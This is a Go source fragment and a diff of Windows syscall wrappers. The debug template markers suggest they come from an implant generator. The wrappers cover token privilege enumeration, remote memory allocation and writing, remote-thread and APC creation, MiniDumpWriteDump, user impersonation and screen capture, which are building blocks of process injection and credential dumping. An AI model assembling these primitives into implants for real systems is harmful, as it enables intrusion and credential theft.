// Get the process token from the current process
err = syscall.OpenProcessToken(currentProcHandle, syscall.TOKEN_QUERY, &tokenHandle)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not open process token: ", err)
// {{end}}
return nil, err
}
// Get the size of the token information buffer so we know how large of a buffer to allocate
// This produces an error about a data area passed to the syscall being too small, but
// we do not care about that because we just want to know how big of a buffer to make
syscall.GetTokenInformation(tokenHandle, syscall.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
// Make the buffer and get token information
// Using a bytes Buffer so that we can Read from it later
tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
err = syscall.GetTokenInformation(tokenHandle,
syscall.TokenPrivileges,
&tokenInfoBuffer.Bytes()[0],
uint32(tokenInfoBuffer.Len()),
&tokenInfoBufferSize,
)
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation: ", err)
// {{end}}
return nil, err
}
// The first 32 bits is the number of privileges in the structure
var privilegeCount uint32
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &privilegeCount)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the number of privileges from the token information.")
// {{end}}
return nil, err
}
/*
The remaining bytes contain the privileges themselves
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]
Structure of the array: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-luid_and_attributes
*/
privInfo := make([]PrivilegeInfo, int(privilegeCount))
for index := 0; index < int(privilegeCount); index++ {
// Iterate over the privileges and make sense of them
// In case of errors, return what we have so far and the error
// LUIDs consist of a DWORD and a LONG
var luid uint64
// Attributes are up to 32 one bit flags, so a uint32 is good for that
var attributes uint32
var currentPrivInfo PrivilegeInfo
// Read the LUID
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the LUID from the binary stream: ", err)
// {{end}}
return privInfo, err
}
// Read the attributes
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &attributes)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the attributes from the binary stream: ", err)
// {{end}}
return privInfo, err
}
currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get privilege info based on the LUID: ", err)
// {{end}}
return privInfo, err
}
// Figure out the attributes
currentPrivInfo.EnabledByDefault = (attributes & windows.SE_PRIVILEGE_ENABLED_BY_DEFAULT) > 0
currentPrivInfo.UsedForAccess = (attributes & windows.SE_PRIVILEGE_USED_FOR_ACCESS) > 0
currentPrivInfo.Enabled = (attributes & windows.SE_PRIVILEGE_ENABLED) > 0
currentPrivInfo.Removed = (attributes & windows.SE_PRIVILEGE_REMOVED) > 0
privInfo[index] = currentPrivInfo
}
return privInfo, nil
}
@@ -35,5 +35,3 @@ package syscalls
//sys SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) = Gdi32.SelectObject
//sys BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) = Gdi32.BitBlt
//sys GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) = Gdi32.GetDIBits
//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
+344 -259
View File
@@ -19,7 +19,6 @@ const (
var (
errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
errERROR_EINVAL error = syscall.EINVAL
)
// errnoErr returns common boxed Errno values, to prevent
@@ -27,7 +26,7 @@ var (
func errnoErr(e syscall.Errno) error {
switch e {
case 0:
return errERROR_EINVAL
return nil
case errnoERROR_IO_PENDING:
return errERROR_IO_PENDING
}
@@ -38,228 +37,92 @@ func errnoErr(e syscall.Errno) error {
}
var (
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
modDbgHelp = windows.NewLazySystemDLL("DbgHelp.dll")
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
modUser32 = windows.NewLazySystemDLL("User32.dll")
modGdi32 = windows.NewLazySystemDLL("Gdi32.dll")
modKernel32 = windows.NewLazySystemDLL("Kernel32.dll")
modUser32 = windows.NewLazySystemDLL("User32.dll")
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList")
procHeapFree = modkernel32.NewProc("HeapFree")
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
procCreateThread = modkernel32.NewProc("CreateThread")
procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread")
procMiniDumpWriteDump = modDbgHelp.NewProc("MiniDumpWriteDump")
procBitBlt = modGdi32.NewProc("BitBlt")
procCreateCompatibleBitmap = modGdi32.NewProc("CreateCompatibleBitmap")
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
procLogonUserW = modadvapi32.NewProc("LogonUserW")
procGetDC = modUser32.NewProc("GetDC")
procReleaseDC = modUser32.NewProc("ReleaseDC")
procCreateCompatibleDC = modGdi32.NewProc("CreateCompatibleDC")
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
procDeleteDC = modGdi32.NewProc("DeleteDC")
procCreateCompatibleBitmap = modGdi32.NewProc("CreateCompatibleBitmap")
procDeleteObject = modGdi32.NewProc("DeleteObject")
procGetDIBits = modGdi32.NewProc("GetDIBits")
procSelectObject = modGdi32.NewProc("SelectObject")
procGlobalAlloc = modKernel32.NewProc("GlobalAlloc")
procGlobalFree = modKernel32.NewProc("GlobalFree")
procGlobalLock = modKernel32.NewProc("GlobalLock")
procGlobalUnlock = modKernel32.NewProc("GlobalUnlock")
procGetDC = modUser32.NewProc("GetDC")
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
procReleaseDC = modUser32.NewProc("ReleaseDC")
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
procLogonUserW = modadvapi32.NewProc("LogonUserW")
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
procLookupPrivilegeNameW = modadvapi32.NewProc("LookupPrivilegeNameW")
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
procCreateThread = modkernel32.NewProc("CreateThread")
procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList")
procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread")
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
procHeapFree = modkernel32.NewProc("HeapFree")
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
procSelectObject = modGdi32.NewProc("SelectObject")
procBitBlt = modGdi32.NewProc("BitBlt")
procGetDIBits = modGdi32.NewProc("GetDIBits")
)
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
BOOL = int(r0)
if BOOL == 0 {
err = errnoErr(e1)
func GetProcessHeap() (procHeap windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
procHeap = windows.Handle(r0)
if procHeap == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
HBITMAP = windows.Handle(r0)
if HBITMAP == 0 {
err = errnoErr(e1)
func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
lpMem = uintptr(r0)
if lpMem == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
err = errnoErr(e1)
}
return
}
func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
ret = int(r0)
if ret == 0 {
err = errnoErr(e1)
}
return
}
func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
HGDIOBJ = windows.Handle(r0)
if HGDIOBJ == 0 {
err = errnoErr(e1)
}
return
}
func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
err = errnoErr(e1)
}
return
}
func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
err = errnoErr(e1)
}
return
}
func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
LPVOID = uintptr(r0)
if LPVOID == 0 {
err = errnoErr(e1)
}
return
}
func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
err = errnoErr(e1)
}
return
}
func GetDesktopWindow() (HWND windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
HWND = windows.Handle(r0)
if HWND == 0 {
err = errnoErr(e1)
}
return
}
func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
int = uint32(r0)
if int == 0 {
err = errnoErr(e1)
}
return
}
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
return _LookupPrivilegeDisplayNameW(_p0, privilegeName, buffer, size, languageId)
}
func _LookupPrivilegeDisplayNameW(systemName *uint16, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(privilegeName)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
return _LookupPrivilegeNameW(_p0, luid, buffer, size)
}
func _LookupPrivilegeNameW(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
@@ -268,28 +131,65 @@ func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.S
var _p0 uint32
if inheritHandles {
_p0 = 1
} else {
_p0 = 0
}
r1, _, e1 := syscall.Syscall12(procCreateProcessW.Addr(), 10, uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(unsafe.Pointer(procSecurity)), uintptr(unsafe.Pointer(threadSecurity)), uintptr(_p0), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
err = errnoErr(e1)
func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
addr = uintptr(r0)
if addr == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
err = errnoErr(e1)
func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
@@ -299,85 +199,270 @@ func DeleteProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST)
return
}
func GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) {
r1, _, e1 := syscall.Syscall(procGetExitCodeThread.Addr(), 2, uintptr(hTread), uintptr(unsafe.Pointer(lpExitCode)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func GetProcessHeap() (procHeap windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
procHeap = windows.Handle(r0)
if procHeap == 0 {
err = errnoErr(e1)
}
return
}
func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
lpMem = uintptr(r0)
if lpMem == 0 {
err = errnoErr(e1)
}
return
}
func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
if r1 == 0 {
err = errnoErr(e1)
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) {
r1, _, e1 := syscall.Syscall(procGetExitCodeThread.Addr(), 2, uintptr(hTread), uintptr(unsafe.Pointer(lpExitCode)), 0)
if r1 == 0 {
err = errnoErr(e1)
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
addr = uintptr(r0)
if addr == 0 {
err = errnoErr(e1)
}
return
}
func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
if r1 == 0 {
err = errnoErr(e1)
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
if r1 == 0 {
err = errnoErr(e1)
func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
int = uint32(r0)
if int == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GetDesktopWindow() (HWND windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
HWND = windows.Handle(r0)
if HWND == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
HBITMAP = windows.Handle(r0)
if HBITMAP == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
HGLOBAL = windows.Handle(r0)
